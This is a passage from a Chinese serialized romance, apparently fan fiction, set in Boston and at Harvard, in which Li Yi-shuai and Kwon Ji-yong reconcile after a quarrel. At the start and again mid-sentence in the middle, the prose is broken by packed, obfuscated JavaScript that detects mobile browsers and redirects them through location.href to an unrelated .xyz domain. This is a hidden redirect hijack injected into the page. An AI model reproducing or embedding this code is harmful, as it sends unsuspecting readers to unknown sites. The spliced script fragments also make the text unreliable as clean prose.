RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214675|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 维肯几乎是兴奋地冲了过去,尾巴几乎要掀起一阵风来。 年幼的李艺率站在原地,看着维肯兴奋欢快的背影,冲过去时矫健的身姿,用力飞扑的姿态……她知道她永远无法拥有维肯了。 可尽管如此,它还是她最爱的小狗。 而如今,在十几年以后,在异国的机场,李艺率又恍惚看见了当年她心心念念的小狗。 属于她的维肯仿佛跨越了无数个光阴,调转方向飞奔着朝她扑了过来。 * 十几个小时的飞行加九个小时的饥肠辘辘,饶是从国中时期就开始修行的传奇耐饿人权至龙也有些扛不住。 因此李艺率便干脆拉着他在机场附近的连锁咖啡店坐下,看着他补充完水分几口解决完一块大号三明治后,才看上去好了些。 他们也终于有时间得到面对面沟通的机会了。 李艺率解释了自己失联的原因,并郑重地向权至龙道了歉。 看着因为她的郑重而模样稍显局促的少年连连摆手……不,现在应该要叫青年更妥当些了。 半年没见,他又褪去了些她记忆中的青涩,轮廓愈发鲜明了,大概是这半年来演艺圈的洗练,整个人气质看上去成熟不少。 而他看向她的眼神,却还像从前一样,亮晶晶的,带着几分熟悉,又多了几分小心翼翼的希冀。 哎。 越来越像了。 她忍不住在心底轻叹了一口气,支着下巴问道:“为什么会来?” 为什么会来? 权至龙张了张嘴,心里思绪复杂却难以组织成句。 是来道歉?是因为那通电话以后心里难以遏制的恐惧?还是在这几个月强装无事发生却始终无法忽视的空洞感驱使着他踏上这趟冲动的飞行? 他看着李艺率平静却带着询问的眼神,忽然觉得所有提前准备好的、听起来或许还算漂亮的说辞都变得苍白无力。 仿佛喉咙被什么东西哽住了,他好半天才吐出了一句对不起。 他低下头,手指无意识地抠着咖啡杯的边缘,声音因为紧张和羞愧甚至有些发干,磕磕巴巴地开始了: “对不起……真的,非常对不起。” 他深吸了一口气,仿佛需要极大的勇气才能继续。 “我……我这段时间……做了很过分的事情,”他不敢看她,目光落在桌面上,“在等你的这九个小时里,我才意识到……” 然而李艺率确是神色平静:“所以,为什么呢?” 为什么? 他这段时间也曾反复思考过这个问题,是出道事业的不顺?害怕被代替的恐惧?距离感驱使的患得患失?两人身份倒悬差距的自卑?抑或是面对李艺率磊落又阳光的姿态忍不住靠近却又下意识想要逃避? 他想了很久,直到后来才惊讶地察觉,竟全部都有。 原来他的喜欢,带着这么多沉重污浊,令人不快的东西—— 他在坏情绪的沼泽里挣扎着越陷越深,对李艺率的依赖和喜欢就像脆弱又可恨的寄生,化作悲伤的根须,边流泪边吸饱鲜血。 她也要为他而痛才好。 要痛得情不自禁,又痛得刚好留有生出怜悯的力气。 我真是个糟糕的人啊。 权至龙的声音几乎低不可闻。 他说得断断续续,甚至连对她的爱慕都不敢透露一个字眼,只挑了些事业不顺,二人身份差距的自卑等浅显的理由,而这样就已经耗尽了他全部的力气。 权至龙的肩膀微微的垮了下来。 然而面对权至龙的自我剖析,李艺率却只是挑了挑眉:“我是有哪里做得不够好吗?” “什么?”权至龙几乎以为是自己听错了,明明刚刚他字字句句只谈自己的过错,但他仍然快速地摇了摇头,“没、没有,你很好……是我不够……” “打住,”李艺率双手交叉做了一个手势,“那么我来确认一下,你说你事业不顺而感到自卑,期待我能够多关心你,期待你什么都不说我也能读懂,期待我在你哪怕非常忙碌的时候也能一直等在原地,对吗?” 被她戳中了心里最隐秘的渴望,权至龙抿着唇点了点头。 李艺率:“那就证明,在你的潜意识里,你认为我在这些方面做得不够好,或者说并不如你预期想象的好。” 权至龙大惊,下意识反驳:“我没有!我没觉得你不够……” 李艺率:“在你看来,期待这件事本身意味着什么?” 权至龙怔怔地望着她,嘴唇微颤,却一个字都说不出来,他看着她神色平静地做出结论:“期待并不是爱,而是一种人潜意识里的批评。正是因为在你心里我做得不够好,所以才会有更深的‘期待’,不是吗?” 权至龙:“…………” 他忽然觉得胸口闷得喘不过气,心里那点隐秘的阴暗仿佛被她一语戳破,瞬间支离破碎。 一直以来以为的深情、隐忍与挣扎,在她这样冷静的审视下,竟被扒去了皮囊,露出了这样不堪一击的内里。 可李艺率却并没有停下,反倒轻笑一声自顾自地说到:“抱歉,我其实并不想在这样严肃的对话中笑出来,但你仔细理一下这其中的逻辑就会发现真的很可笑,” “你不告诉我你的事业并不顺利,却责怪我没能未卜先知隔着一万多公里的距离提前安慰你;我反复提起我们交朋友并不是出于物质的目的,但你却始终在用一种‘我配不上你’的姿态来否定我的真诚;你只在偶尔透露些无关痛痒的脆弱,根本没给我走进你内心的机会,却还要在心里反复计较着我是否已经足够重视你。” 说到这里,李艺率像是再也忍不住,直接笑出了声:“等一下……稍等一下,” 这未免也太荒谬了吧! 她看向那双闪躲的眼睛,终于问出了心中的疑惑:“我明白你的期待了,可你又做了什么呢?” 一瞬间,血液猛地冲上头顶,脸颊和耳根瞬间烧得滚烫。 权至龙仿佛被人在大庭广众之下剥光了所有衣服,赤裸地暴露在刺眼的灯光下。 他的手指冰凉,指尖颤抖,几乎无法再坐在她对面,承受她那双澄澈仿佛能看透一切的注视。 要逃…… 要赶紧逃跑…… 逃离这家咖啡店,逃离波士顿,逃离美国,逃回那个让他重新藏起来的壳里。 可他却被那双暖棕色的眼睛盯在原地,只能张着嘴徒劳地迎上她的目光,所有苍白的辩解和粉饰的假象都在这一刻都彻底崩塌,碎成齑粉。 * 权至龙的喉咙像是被砂纸磨过,干涩得发不出任何声音。 但好在,李艺率并没有继续再深究下去,只是悠悠地叹了一口气,似乎是在犹豫他这个‘前好友’的归宿问题。 李艺率:“休息几天?” 权至龙:“……还有十来天。” 啧。 这副期期艾艾的模样反倒让人下不去嘴再去苛责了。 李艺率垂下眼帘,将桌上那块白脱奶油蛋糕往他跟前推了推:“吃完走吧。” 闻言,权至龙拿着叉子看上去好像开心了点,像是终于逃离了他不想面对的话题,此时也有点闲心扯些其他的东西了。 他说起他们组合挨饿,五个人一天只有一包饼干果腹,结果饿得实在受不了,几人偷偷撬了经纪人房门的门锁,发现房间里藏了一大堆吃的。 权至龙:“我那个时候甚至都不敢去嚼,只舍得放在嘴里一点点抿化……结果打开哥的房间一看,床上桌子上全是吃的,当时真的都快要气疯了!” 李艺率:“说实话没有咀嚼的动作大脑就接收不到进食的信号,在糖分的作用下/体感只会更饿才对吧。” 权至龙难以置信地挥舞叉子:“……重点是这个吗?!” 李艺率:“那后来呢?” 权至龙耸了耸肩:“虽然撬开了房门,但是我们也不敢都吃光啊,就偷偷拿了一点……结果五个人分也没多少了。” 说着,他看向白色骨瓷盘里那块奶油蛋糕:“说实话,我也不知道为什么,当时最想吃的东西就是这个。” 四方形的蛋糕切件,奶油质地雪白细腻,正中央的位置用裱花嘴绕了一圈花边,点缀着一颗鲜红的糖渍樱桃,十分中规中矩、不容易出错的连锁咖啡店甜点品质。 李艺率挑挑眉:“奶油蛋糕?这也不是什么好东西啊。” “不是这种,”权至龙摇了摇头一脸神秘,“是那种装在塑料盒子里的,用的是百分百纯植物奶油,上面有贝壳纹路,然后中间会放一颗罐头樱桃做装饰的那种奶油蛋糕。” 权至龙所说的老式奶油蛋糕,是当时工厂大批量生产的经典款式,现在在韩国市面上已经很少见了。它的口感上甜腻扎实,尽管充满了工业时代的粗糙廉价风味,但也是韩国那个年代童年生日时关于甜蜜的难忘回忆。 “百分百纯植物奶油听上去也太不健康了吧……”李艺率嫌弃地蹙眉。 “但是在小的时候很珍贵啊,”说着,权至龙用叉子切下蛋糕一角,看着这一小块蛋糕切件顶上那颗糖渍樱桃,笑着说到:“一个蛋糕上有很多罐头水果,但是只有一颗小樱桃……” 说到这里,权至龙悠悠感叹道:“可以说是整个蛋糕最精华的部分了,我小时候一直都很想吃呢!” “…………”看着权至龙脸上略带怀念的笑意,李艺率忽然发觉自己好像抓住了点什么,沉默片刻,她问道:“小的时候一次也没吃过吗?” 权至龙:“……姐姐也喜欢小樱桃嘛,再说了,我也挺喜欢吃罐头黄桃的。” 李艺率:“………………” 她终于明白为什么会在权至龙身上察觉到这样鲜明的割裂感了。 她看着拿叉子小心翼翼切蛋糕的权至龙,冷不丁地开口道:“我要吃。” “啊?”权至龙诧异地看向她……已经被他吃过了啊,虽、虽然他是不介意啦……想到这里,不知道为什么有点莫名的脸红。 “……不是吃蛋糕,我要吃这颗小樱桃。” “…………”明明刚刚听他说的时候还很嫌弃来着的! 不过权至龙心里吐槽着,权至龙还是将骨瓷碟往前推了推。 像是遵循着要把最珍贵的东西放在最后吃,四方形的蛋糕已经被插下好几个边角,但中间那块小樱桃却始终完好无损地待在原地,被精心守护着的模样。 他说起童年回忆的时候脸上的向往那样真实,可将他记忆中的那颗‘珍宝’推向她的动作却没有丝毫犹豫。 李艺率:“…………” 她沉默地捻起樱桃柄,在放进嘴里。 过分甜腻的、带着人工香精的味道在舌尖化开,并不算多么高级的滋味。 但在咀嚼的过程中,李艺率忽然看清了权至龙看向她的那双黑白分明的瞳孔。 她终于读懂他身上的违和感了。 爱是一种能力,大大方方地去爱一个人,有勇气表达爱,固然是一件厉害的事情。但反过来,被爱的那个人,能坦然接受被爱也是一种能力。 ……这世上怎么会有这样的人呢? 既贪婪地索取,又怯懦地不敢真正接受, 既渴望紧密的连接,又恐惧真实的靠近会暴露“不配被爱”的自我, 既极力绽放吸引他人的关注,又无法相信这份专注会持久停留在他这个“真实”的人身上。 像个守着空空如也的糖果罐孩子,一边拼命摇晃罐子渴望听到声响,却又一边坚信这个罐子根本不配被装满。 真可怜啊。 李艺率面无表情地咽下过分甜腻的樱桃果肉。 她果然还是不喜欢吃糖渍樱桃。 这么想着,她看向失去‘珍宝’以后仿佛没了把最珍贵的东西留到最后舍不得吃的意义,三两口解决完蛋糕的权至龙。 “权至龙。” 她这么叫他的名字,换来他局促闪烁的注视。 李艺率:“我还是有在生气。” 权至龙闻言眼里的光都暗淡了些,他抿了抿唇,半低下头,神色看上去疲倦又萎靡:“……哦。” 啧。 李艺率:“但是我允许你这段时间一直跟着我,你可以住在我家,吃住用什么都不用操心。” “真的吗?!”他猛地抬起头,眼里重新点燃起光彩,像是被什么不可置信的惊喜砸中,要不是没长尾巴,恨不得就要当场摇给李艺率看了。 “嗯。” 李艺率看着他整个人都兴奋起来的模样,舌尖悄悄在虎牙旁擦过。 真讨厌。 光是看着这副样子都觉得讨厌。 她果然不喜欢狗啊。 34.辛德瑞权二周目 考虑到某位权姓小伙在机场被顺走了手提包,浑身上下只有一套衣服和一个可怜兮兮的双肩包,因此出了机场咖啡厅,李艺率便拉着权至龙随手拦下一辆出租车,目的地直奔后湾区的纽百里街。 这是波士顿市中心一条以高档购物、精品店而闻名的商业街。 晚上八点,华灯初上。 不同于白日的忙碌,夜晚的街道更多了几分璀璨和朦胧,橱窗里的灯光将最新季的时装商品照得格外光鲜,行人步履匆匆,大多是出来享受夜生活的都市时髦男女。 精品店的大块落地玻璃倒映着街边熙攘的人群,泛着流光溢彩的霓虹。 店内光线柔和,香氛淡雅,店员训练有素。 权至龙:“…………” 但这也太贵了吧! 他看着那件堪称平平无奇的浅米色罗纹毛衣,整件衣服唯一的装饰就是胸口那件小小的马球骑手刺绣LOGO,就这竟然要卖到七八百刀? 然而李艺率眼也不眨一下,甚至都没预留出让他试衣服的时间。 好像是秉承着某种时间就是金钱的效率,拉着他在店内随意逛了一圈,又随手挑了几件在他身上比划一下,简单交流了几句“这件还不错吧?”、“我觉得还行”“摸上去还可以,哦你是不是不喜欢这个颜色?那拿另一个颜色好了”,继而又和笑容亲切的店员简单沟通—— 然后他们二人就被带到了等候区目送店员高高兴兴地捧着一堆衣服去打包结算。 整个过程甚至没超过二十分钟。 权至龙:“…………” 国内的某些财阀公子哥的电视剧拍得还是太不够写实了! 察觉到权至龙极其无语的注视,李艺率只是挑挑眉理直气壮:“wei?有钱又不是我的缺点!” 李艺率:“反正我是不会改的!那点无处安放的自卑感都是你自己的问题,与其憋在心里纠结,不如早点强迫自己习惯!” 权至龙:“…………” 话虽如此,但你这家伙的态度未免也太嚣张了吧! 还有,为什么他一个好端端的大男人偏偏要拿辛德瑞拉的剧本啊?可恶! 不过权至龙张了张嘴,到底还是没说出反驳的话,只默默看着李艺率掏出卡利落地在机器上一划,和店员约定了送货上门的时间地点,继而抬手招呼权至龙往下一家店继续上述流程。 整整一个来小时,权至龙都安静地跟在李艺率身后充当衣架子和购物车,直到—— 权至龙:“呀,你够了啊!这种东西就不用你跟着帮忙挑了吧!” 他面色绯红,耳朵像是被烧得滚烫,语气慌乱地指着那一排贴身衣物,又作势将李艺率往身后推搡,“你一个小女孩呆在这里不会觉得害羞吗?好了,我自己会挑的,你快点到那边休息区等我!” 李艺率嘁了一声,嘴里仍表达不满:“就只是布料而已啊!到底在大惊小怪些什么?!” 权至龙:“…………” 他崩溃地捂住发烫的脸,发出痛苦的呻吟。 真是够了! * 等两人从商业街血拼一番杀回来,坐上出租车准备回到李艺率的公寓时,时间已经从九点跳转过半了,权至龙靠着出租车窗边,望着飞速倒退的城市倒影,眼皮越来越重。 长时间的飞行加上神经紧绷的一个白天,此刻骤然放松下来,已然有些昏昏欲睡。 李艺率就读的哈佛大学需要本科生住在学校宿舍,但李艺率本人的情况较为特殊,加之父亲动用了钞能力的缘故,注册学籍那天提交了自己的病例报告以后便顺利得到了外宿的许可。 像他们这样家庭的孩子自然不会只满足于拿到一个学士学位。 为了方便李艺率今后的深造,李在叙在她拿到哈佛的早申结果通知书那一刻就早早地看起了学校附近的房产,最终选定了这套位于哈佛广场附近、环境私密安保齐全的顶层复式公寓。 车子稳稳停在公寓楼下时,权至龙已经睡得东倒西歪。 李艺率看着他脸颊压在安全带上印出一道红痕,头发乱糟糟地翘起一小撮的样子,忍不住又在心里嘁了一声。 这家伙睡着了以后的模样看上去真的好像小狗啊。 从口袋里拿出现金付过车费,李艺率轻轻推了推权至龙的肩膀,低声喊道: “醒醒,到家了。” 闻言,权至龙像是惊醒一样身体猛地一跳,随后迷迷糊糊地眨了眨眼,脑袋还有些晕乎,他晃了晃脑袋,嘴里嘟囔着:“啊……到了吗?” “嗯,”她提着购物袋推开车门。晚上的购物看上去买了不少东西,但实际上他们只带回来其中的一小部分,其余的都已经和门店约定好时间送货上门了。 毕竟溢价这样高的品牌,自然会额外给予些周到的服务。 “等回去洗个澡再睡吧。” 她刷开电梯门,拽着脚步虚浮的权至龙走进电梯,缓慢上升的过程中,看着他站在角落眼皮又开始打架。 李艺率:“…………” 看来是真给累够呛了。 电梯轿厢停在顶楼,李艺率输入密码打开房门。 她喜欢开阔的空间,因此整间公寓是开放式客厅的设计,一整面墙的落地玻璃窗,窗外便是整座城市常见的红砖建筑群、查尔斯河的波光和波士顿的夜色,视野一览无余。 但权至龙来不及欣赏夜色,便困顿地被李艺率拉上二楼休憩区。 在清点晚上的战利品时遇到了点麻烦。 李艺率:“…………” 糟糕,忘记买睡衣了! 看着整个人快要蔫过去的权至龙,她只好到衣帽间挑了一件自己闲置的家居服给他。 李艺率:“喏,这件给你。” 她摊开衣服提着肩线在他身上比划一圈,看了两眼点点头道:“应该能穿得上。” 权至龙:“……这是你的衣服吗?” “不然咧?”说着她把衣服往权至龙手里一塞,又半是感叹半是抱怨的口吻道,“怎么你又长高了啊?明明最开始比我还要矮一点的!……等等,好端端的你脸红什么啊?” 权至龙垂下眼睑躲避视线,耳朵却还在发烫:“……我觉得你还是别知道比较好。” 闻言,李艺率只是嘟囔着丢下一句莫名其妙,就把权至龙推进了次卧。 在次卧浴室简单冲了个澡,洗去一身舟车劳顿的疲惫以后,权至龙把自己扔在床上,思绪忍不住漫游了起来。 真丝面料滑过皮肤,带来一阵几乎令人战栗的微凉触感。 他身上穿的这套居家服版型相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247074|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对宽松,藏青色的真丝面料贴合皮肤,领间袖口勾勒着白边,面料材质亲肤触感细腻,隐约能嗅到洗涤剂的玫瑰香味……鲜明地提醒他, 这是……属于李艺率的衣服。 这面料曾经也像现在紧贴着他这样,柔软服帖地包裹过她的肌肤。 ……他几乎能想象出李艺率穿着这件衣服时的样子。 那缕若有若无的玫瑰香在鼻尖缠绕,心底荡开一圈圈无法平息的涟漪。 思绪如同脱缰的野马,不受控制地奔向更旖旎的方向。 嗡地一下,血液瞬间冲回了头顶,刚刚平息下去的热度再次席卷而来,甚至比之前来得更汹涌。 权至龙猛地睁开眼,心脏在胸腔里擂鼓般狂跳,一种强烈的负罪感和无法抑制的悸动交织在一起,几乎要将他吞噬。 明明身体已经疲惫到了极点,可大脑却愈发清醒,漫无目的的思绪如潮水般涌动,野火般疯长。 他陷进一片柔软的黑暗里,绝望地意识—— 这个夜晚注定很难入睡了。 * 第二天权至龙推开房门的时候已经临近中午了。 毕竟是舟车劳顿将近二十多个小时没合眼,再次醒来时整个身体沉重得仿佛是借来的躯壳一般。但索性出道这半年多来他逐渐适应了高强度的工作节奏,因此精神看上去还算不错。 洗漱过后换上了昨天买的新衣服,他又清点了一下双肩包里携带的随身物品,再次庆幸在临出发前将之前买给李艺率的礼物放在了背包里,不至于落到同样被本地帮派顺走的尴尬局面中去。 权至龙下楼的时候李艺率已经完成了今天早上四个小时的练琴任务,此时正坐在客厅那张巨大的新西兰手工羊毛地毯上靠着沙发敲打笔记本键盘,因为后面几天要专心准备决赛的缘故,此时她正逐一给授课的教授和TF发邮件沟通请假。 见他下楼,她从屏幕前抬起头:“哦,醒了啊。” 说着,她阖上笔记本屏幕站起身伸了个懒腰,看向权至龙手上抱着昨天的换洗衣服,带他去了洗衣房,指了指一个干净的框子。 李艺率:“喏,放这里就好。” 权至龙:“这些是洗过的衣服吗?” 洗衣房的位置采光不错,衣物被分好类装在贴着不同标签的洗衣筐里。 李艺率:“都还没有,每周家政小姐会在固定时间过来帮忙清洗打扫卫生,” 大概是想家里的姨母们了,她悠悠叹了一口气道:“我爸爸说我上大学以后要学会独立生活了,所以不让姨母跟过来照顾我。” 权至龙:“…………” 可这看起来也不独立啊伯父大人! 他嘴上配合着说了些捧场的话,手里却也没闲着,研究完洗衣机的操作以后边将衣服塞进机器里加入洗涤剂启动程序。 自己都已经是住在集体宿舍里开始工作的成年人了,才和这家伙不一样呢! * 因为权至龙护照丢失的缘故,李艺率在网上帮忙申请了领事馆补办旅行证的预约。 眼看时间接近饭点,她提议道:“我下午有一节大课,你要跟着一块去吗?正好中午就在学校食堂吃了。” 这还用想吗? 闻言,权至龙眼睛一亮。 “要去!” 35.盖吉斯之戒 剑桥市与波士顿市区隔着查尔斯河遥遥相望。 街道两旁树影婆娑,红砖砌成的建筑群爬满了常青藤,历经岁月洗礼,呈现出一种庄重而温暖的暗红色。 昨天刚来时因为太过疲惫所以来不及细看,直到此时权至龙才得以细细品味这座城市浓郁厚重的学术气息。 空气中带着查尔斯河氤氲的水汽和清冽的草木香,偶尔有穿着卫衣的学生骑着自行车叮铃铃地从身边掠过,车筐里塞满了书本,带来一阵青春而匆忙的风。 他与李艺率并肩走着,保持着一种恰到好处的距离,姿态比起昨日的紧绷无措,显然松弛了许多。 哈佛大学的区域划分并不像许多大学那样处于一个封闭的、集中的校园,相反,它在地理分布上划分成了四个主要区域,与整座城市深度融合,形成了独特的格局。 李艺率目前在哈佛园区域接受本科教育,也就是有John Harvard雕像地标的、游客们常说的哈佛学院。 古老的铁艺门扉之后,是一片开阔的草坪。 巨大的橡树和榆树枝干虬结,铺着碎砂石的小径连接着一栋栋庄重深沉的中世纪风格建筑。 这个时节已经有许多游客过来打卡,他们举着相机触摸着巨大铜质雕像被磨得蹭亮的鞋尖。 李艺率也在这个时候悠悠叹了一口气,“忘记带相机过来给你拍游客照了。” 权至龙:“……我倒也不是真来当游客的啊!” 在网上聊天终归是隔着屏幕,言语间再多的分享也难以真正传递那份身临其境的感受。 此刻走在哈佛园的碎砂石小径上,四周是斑驳光影与低语的风声,听着远处传来钟楼的悠扬钟声,这才让他莫名感到与她的连接更近了一些。 时间仿佛被拉得很长。 长到足以让权至龙忽视身旁穿梭的游人,只专注地将视线落在那张被阳光慷慨洒落映得微微发亮的侧脸上。 周遭一切喧嚣仿佛都被一层无形的玻璃罩隔开,变得模糊而遥远。 就在这一刻,这样静止的时间里, 他的世界骤然缩小,小到只剩下这条蜿蜒的砂石小径,小径上斑驳跳跃的光点,以及走在他前方半步的那个身影。 可惜这样前所未有的宁静与归属感并没有持续多久。 毕竟,李艺率绝对是权至龙生平见过最煞风景的人—— 只见她忽然回头,冲他露出一个堪称恶趣味至极的笑容。 李艺率:“其实今天下午的大课是在文理学院那边的大教室进行的,你知道为什么要特地带你到这边来吗?” 权至龙:“为什么?” 李艺率:“因为我要专门带你去超级难吃的食堂吃饭!” 权至龙:“……我真的有那么惹你生气吗?!” 竟然到了明知难吃还非得带他去尝试不可的地步了! 况且,这难道是什么很值得骄傲的理由吗?怎么可以这样理直气壮的说出来! 可叫李艺率来说,这简直太有必要了! 哈佛倡导的是以住宿学院系统和各类学生社团为主的社交方式。 大一新生们在通识教育期间会被统一分配在哈佛园附近的宿舍里,直到大二选择专业以后才会搬迁至12个住宿学院中,转而到各自所属的学院食堂吃饭。因此作为大一新生们的食堂,安能伯格食堂成为所有的一年级新生们结识朋友、进行交流的重要地点。 然而架不住它实在是太难吃了! 虽然李艺率身为一个味觉失衡的病人,大多时候都是将进食这件事情当作维持生命体征的最低需求,但饶是这样,上学期刚开学的好长一段时间,李艺率的越洋信息里关于学校的吐槽十有八九离不开食堂的口味奇葩白人饭。 可算让她逮到机会了! 今天她必须要带权至龙专门去吃一次。 要带有目的性地去吃,带有批判性眼光地去吃,叫他亲身经历一次好好体会一下,看他以后还敢不敢用那种满不在乎的口吻说些什么是她太挑嘴了这样的风凉话! * 李艺率带着一种‘大仇将报’的雀跃(尽管脸上依旧没什么表情),领着权至龙走向食堂。 挑高的穹顶仿佛直通天际,巨大的木质横梁交错支撑,营造出一种庄严而恢弘的空间感。四周墙壁上镶嵌着色彩斑斓的彩绘玻璃窗,阳光在地面上投下梦幻的光影。 大厅中央,是长长一排厚重的木质长桌和长椅,头顶悬挂着如同骑士城堡里那样的铁艺枝形吊灯。 刚走进室内就已然有些目瞪口呆的权至龙:“…………这里真不是霍格沃茨吗?” 2007年初,电影哈利波特已经上映四部,一度风靡全球,其中叫人印象深刻的莫过于霍格沃茨大厅。同样是中世纪英国哥特风式风格,站在安能伯格食堂竟让人恍惚间觉得下一秒就会有悬浮蜡烛和魔法长袍出现在眼前。 权至龙:“在这里吃饭的话就算味道差一点也是完全能够被原谅的事情吧!” 毕竟这可是现实版霍格沃茨啊! 这样电影片场一样的环境,味道什么的反倒完全是次要的东西了。 在正式用餐前,权至龙心里仍然是抱有这样的念头,直到吃到了被煮得软趴趴的西兰花和口感又干又柴的牛胸肉—— 实际上,他并不挑嘴,甚至是个和李艺率一起吃了两年多味道寡淡的‘病号餐’也能面不改色夸上一句“马西达”的人……然而这一次,他的确是大大低估了白人饭的杀伤力。 李艺率支着下巴挑着餐盘里的嫩菠菜叶,好整以暇地看向他,见他把食物塞进嘴里面露难色以后,才恶劣至极地笑出了声: “都说了,人和人之间是没办法做到感同身受的。在亲身尝试过以前,不可以从你的角度说出是我太娇气或者太挑剔之类的话!” 权至龙艰难地咽下嘴里的食物:“……话虽如此,但一顿饭而已,有必要说出这种振聋发聩的结论吗?” 他为难地看着餐盘里的食物, ……说真的,他现在道歉还来得及吗! * 在结束这顿记忆深刻的午餐以后,两人沿着砂石小径散步,穿过约翰斯顿门,路过纪念教堂,途径大学馆和怀德纳图书馆,巨大的石柱和爬满藤蔓的红砖墙让两人停下驻足流连了好一会静谧的风景。 一路上有不少学生或是结伴而行,或是在大草坪上躺着看书学习,若有若无的谈笑声接连传来,倒显得同为学生的李艺率有些格格不入。 于是权至龙又开始操心起了老生常谈的问题,毕竟相处许久,他对李艺率的性格显然算是十分了解—— 这家伙简直是太孤僻太不合群了! 大多数影视作品中,有关于美国高校的刻板印象,总是离不开以各种兄弟会姐妹会为首的校园社交文化。 想起影视剧里有关白女mean girl记忆深刻的形象,权至龙忍不住偷偷瞄了一眼李艺率的侧脸,问出了自分别以来就在心里颇为担心的话题: “你们学校里……有没有那种的……学生?” 虽说拥有名校光环,这类高校学生的个人素养想必不会太差,但架不住李艺率这家伙实在是个先天的被霸凌圣体啊! 他说得含糊闪烁,但李艺率立刻就明白了他想问什么:“……你还是少看点电视剧吧。” 权至龙:“…………” 很好,现在百分百确定了。 在这种没有他的新环境里李艺率绝对会被狠狠孤立的! 还好她现在没有住宿舍啊。 想到国外电影里那种在课后把学生的头摁在马桶里的霸凌桥段,还有兄弟会姐妹会里恐.怖的入会仪式,权至龙忍不住狠狠打了个寒颤。 李艺率看着他变幻莫测的表情几乎不用猜都知道他在脑补些什么剧情,她翻了个白眼,最终还是忍不住戳破他的幻想解释道:“……我们学校学生的个人素质没有差劲到这种份上吧!” 相比起一些州立高校主流的社交团体,哈佛官方并不认可Greek life这样的单性学生组织,反而更倡导多元包容的社交环境,因此这样的社交组织在校园里的影响十分有限且边缘化。 向权至龙解释完之后换来了对方的如释重负。 大概是因为中学时期经常受到高年级学姐的拦路围堵,整个青春期都是一副受气包形象的权至龙本人面对这类性格强势的女性时心里总是会下意识地有些发怵,他叹了一口气,谈及了自己在影视作品里看过的刻板印象: “也不知道为什么,总感觉你要是惹上那种人的话明天就不用去上课了。” 闻言,李艺率挑挑眉:“压根不需要等到明天。” 权至龙:“…………” 这其实在李艺率开学前的越洋信息里就被权至龙提过好多次。 虽然他一直害怕会有新的朋友取代他的位置,可真叫李艺率在校园里孤零零地难以交到什么朋友又不是他希望看到的事情。 两人实在是相互太过了解。 李艺率看着权至龙这副蔫巴的表情,轻笑一声,终于温声道: “一个人的精力是很有限的,把过多的时间分给社交以后,留给我个人的时间就很少了。” 她每天要花上好几个小时在钢琴上保持自己的触键手感和技术,要应对繁重的课程作业,还要遵循严苛的生活习惯以保证这具身体能够平稳运行,让她再花功夫去交上些新朋友显然是一件十分奢侈且耗费心神的事情。 李艺率:“之前光是交一个朋友就已经叫我很生气了,我才不想再给自己找麻烦呢!” 权至龙:“…………” 什么叫做之前啊?难道现在他们不是已经和好了吗? 权至龙:“……你这家伙真是很记仇!” 不过……只要一想到李艺率说她目前没有再填充社交圈的打算,也不知道为什么,权至龙的心忽然变得轻飘飘起来。 除了对她仅有的一些担心以外,剩下的竟全是些难以遏制的甜蜜窃喜。 明明还是希望她能够好好享受难得的大学校园生活的……他轻叹了一口气,暗自反思自己的矛盾又复杂的卑劣心态。 但这样的反思倒也没持续太久,因为李艺率忽然提起了刚刚他们从公寓出发时路过的那座分割了哈佛两座片区的红砖桥: “你还记得刚刚我指给你看的,商学院所在的区域吗?那里有一栋白色的建筑很显眼吧。” 闻言,权至龙点点头,那栋白色的教学楼确实在一干红砖外墙的建筑群里显得十分脱颖而出。 李艺率:“那栋楼就是三十年前我爸爸在哈佛读博的时候,我爷爷捐钱盖的楼。” 作为Lagacy政策倾斜的受益人之一,李艺率的爸爸就是哈佛出身。 说着,她抬手指了指文理学院的方向道:“等我毕业以后,那边大概也会多一栋新的楼。” 权至龙:“…………” 李艺率:“所以,你不用担心我在学校里过得不好,毕竟我早就说过了嘛,” 她拍了拍权至龙的肩膀,挑挑眉终于露出了这两天以来第一个孩子气的笑容,“我是特权阶级。” 权至龙:“……哦,那没事了。” * 穿过一片被阳光晒得暖融融的红砖庭院,两人走向一栋更具现代感的灰石建筑。 学生们步履轻快,交谈声压得很低,抱着笔记本电脑和厚厚文献资料的身影随处可见。 教室呈巨大的扇形向下倾斜,足足能容纳两三百人。 深蓝色座椅层层叠叠,如同陡峭的梯田,俯瞰着位于最低点的圆形讲坛。 哈佛的人文社科学院里有许多难得的好课,这是在波士顿高校圈里向来默契的共识,因此倒也不乏有隔壁MIT的学生跨校选修或是旁听。 这节公开课的主题是《人性的哲学与科学》。 此时离上课还有一段时间,讲堂里已经坐了七八成的学生。 低沉的交谈声、翻动书页的沙沙声、笔记本电脑启动的微弱嗡鸣交织在一起,形成一种专注的背景音。 两人小心翼翼地沿着阶梯走到中后排一个相对靠边的位置坐下。 权至龙悄悄环顾四周,目光扫过那些专注翻阅资料的学生,低声道:“总感觉气氛好像很严肃啊。可恶,这就是名校光环吗……” 李艺率把小桌板放下,从包里拿出笔记本和钢笔,又分出一份给身边的权至龙,此时听到他的感慨轻讽一笑: “很多都是隔壁的工科学生来蹭选修的,等一会你看到后排有学生睡大觉就不会这样想了。” 权至龙:“…………” 他环视一圈,除了占据主力的文理学院学生外,的确能看到不少气质明显不同的旁听生。 主讲教授是一位穿着简约深色针织衫,气质沉静温和的中年女性。她没有携带太多资料,只有一个简单的保温水杯。 她走上讲坛时的步伐很轻,目光扫过全场,眼神睿智而包容。 